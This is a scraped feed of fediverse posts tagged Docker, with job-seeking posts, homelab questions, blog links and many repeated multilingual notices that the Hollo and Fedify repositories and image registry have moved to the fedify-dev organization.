Discussions: https://discu.eu/q/https://docs.docker.com/docker-hub/usage/
discu.eu
Discussions and related articles for «Usage and limits | Docker Docs»
Looking for the Best IPTV Provider in Canada? The Best IPTV Service in Canada 🇨🇦 2025 Top IPTV Providers Reddit
Discussions: https://discu.eu/q/http://focus4k.com
Hallo,
ich suche zur Zeit einen #Job als #Softwareentwickler im Raum #Potsdam oder #Remote
Ich bin Diplom- #Informatik-er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit
#Cpp
#Csharp
#Javascript
#Typescript
#CSS
#HTML
#Java
#Python
#Angular & #Ionic
#MFC, #WindowsForms & #WPF
…
Auch #Docker, Gitlab-#Pipelines oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf #Windows, #Linux, und auch ein wenig auf MacOS.
Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.
Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.
Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.
Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.
Vielleicht findet sich ja etwas über diese Plattform.
Vielen Dank.
Hallo,
ich suche zur Zeit einen #Job als #Softwareentwickler im Raum #Potsdam oder #Remote
Ich bin Diplom- #Informatik-er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit
#Cpp
#Csharp
#Javascript
#Typescript
#CSS
#HTML
#Java
#Python
#Angular & #Ionic
#MFC, #WindowsForms & #WPF
…
Auch #Docker, Gitlab-#Pipelines oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf #Windows, #Linux, und auch ein wenig auf MacOS.
Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.
Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.
Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.
Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.
Vielleicht findet sich ja etwas über diese Plattform.
Vielen Dank.
This is such a clever and handy thing...
#Nix #NixPkgs #Docker #Containers #OCI #DevOps #PlatformEngineering
nixery.dev
The Virus Lounge
If #PhanpySocial were a native mobile app, it would dominate the #Fediverse client segment. Hats off. This is really fine work.
If you’re into #selfHosting, #docker, etc you will find it absurdly easy to deploy. Or just use the flagship instance at https://phanpy.social/
Thanks again, @cheeaun !!
phanpy.social
Minimalistic opinionated Mastodon web client
New blog post! Come figure out how I have configured my Forgejo runners to build my container images on my Raspberry Pi, totally self-hosted and private. I went crazy and run Docker in Docker in Docker in ... (you got the idea). There is also a bonus LXC container with Proxmox and a sprinkle of Ansible. This was a fun experiment, and I hope you enjoy it!
#HomeLab #SelfHosted #Forgejo #RaspberryPi #Docker #Proxmox #SysAdminLife #Blog
https://mteixeira.wordpress.com/2025/02/03/my-self-hosted-forgejo-runner-setup/
mteixeira.wordpress.com
In this (very long post) I will be demonstrating how I have setup my self-hosted Forgejo runners at home using Docker Compose, Docker-in-Docker and a bonus LXC. To demonstrate with a practical exam…
Devcontainerを使ってDjangoの環境構築をしよう!
https://qiita.com/ooyy0121/items/be58d39f277f1a7a9f63?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
qiita.com
はじめにAWSのECSについて学習するため、フロントエンドとバックエンドの環境を構築することにしました。これまで実務ではNestJSやRailsを扱ってきましたが、ちょうどPythonにも興味を持…
For those that #selfhost and have a #homelab and use something like a #minipc for #proxmox, #docker and other small projects e.g. #PiHole, Bluesky, Mastodon, VPN server, #Nextcloud, what hardware would you recommend? Budget around AUD4-500 (USD250-300), dual-NIC in case I do something routery with it later, doesn't need any wireless connectivity, not going to be connected to monitors or do any media serving/transcoding, won't be a NAS (but I reckon 512GB storage is minimum), power and noise not a problem as it'll be in a comms rack in garage (but would prefer not some huge 2U ProLiant or whatever just so it doesn't wrench it off the wall. I don't mind having "last year's" spec, or considering a refurbed SFF desktop I can load with RAM, storage and NICs.
Wrote about how to setup @pixelfed on #docker / #container https://kushaldas.in/posts/pixelfed-on-docker.html #photography #fediverse #pixelfed
You can follow my account at @kushal@pixel.kushaldas.photography
Okay, here's something that is killing my Forgejo runner experiment: I need the perfect container image. The ones I have tried so far are missing one thing or another, and it's taking me a while to deal with that.
So, instead of trying to build my own image, let me ask the hive mind if anyone knows of a single *reliable* container image that has all of the following *already* installed: Python, NodeJS and Docker CE (or Podman).
And no, I'm not looking for a container image built buy a random guy for their own personal use. That guy could be me. I really want something that is supported as part of a larger project.
My sanity thanks you.
Has anyone used the Mitra Docker image: https://hub.docker.com/r/bleakfuture0/mitra ? If so is there any documentation, for example file system and port mappings and/or example Docker files ?
wizard.casa
Federated social network
Hi!
I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa
I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT
I'm experienced using #Elixir, #Phoenix, #LiveView, #NodeJS, #TypeScript, #Fastify, #Express and #Python ; and on the DevOps side in CI/CD pipelines (either #GithubActions and Gitlab CI/CD), #Docker and a bit of #Kubernetes
I was tasked with a lot of the #innovation happening in my previous company, researching tools, librairies, patterns or general technologies either for our own #DeveloperExperience or for our products
I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu
You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting
I’m open to full-time right now, contracting work can be discussed.
I'm looking for any developer position, not only #ElixirLang, even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P
DM me for more info, like github link, my resume or anything :)
Boosts, responses and DM welcome, of course!
#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork
blog.adrianc.eu
Curiosity propelled
Hi!
I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa
I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT
I'm experienced using #Elixir, #Phoenix, #LiveView, #NodeJS, #TypeScript, #Fastify, #Express and #Python ; and on the DevOps side in CI/CD pipelines (either #GithubActions and Gitlab CI/CD), #Docker and a bit of #Kubernetes
I was tasked with a lot of the #innovation happening in my previous company, researching tools, librairies, patterns or general technologies either for our own #DeveloperExperience or for our products
I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu
You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting
I’m open to full-time right now, contracting work can be discussed.
I'm looking for any developer position, not only #ElixirLang, even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P
DM me for more info, like github link, my resume or anything :)
Boosts, responses and DM welcome, of course!
#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork
blog.adrianc.eu
Curiosity propelled
macOS now identifies Docker as Malware
https://github.com/docker/for-mac/issues/7520
Discussions: https://discu.eu/q/https://github.com/docker/for-mac/issues/7520
discu.eu
Discussions and related articles for «[Workaround in description] Mac is detecting Docker as a malware and keeping it from starting · Issue #7520 · docker/for-mac · GitHub»
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:
https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd
hollo.social
The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Sharing an important update about #Hollo: we've moved our repository to a new home! If you're using Hollo with #Docker, please check this announcement:
https://hollo.social/@hollo/0194aa78-bf56-7559-bf64-e9e1c09a69bd
hollo.social
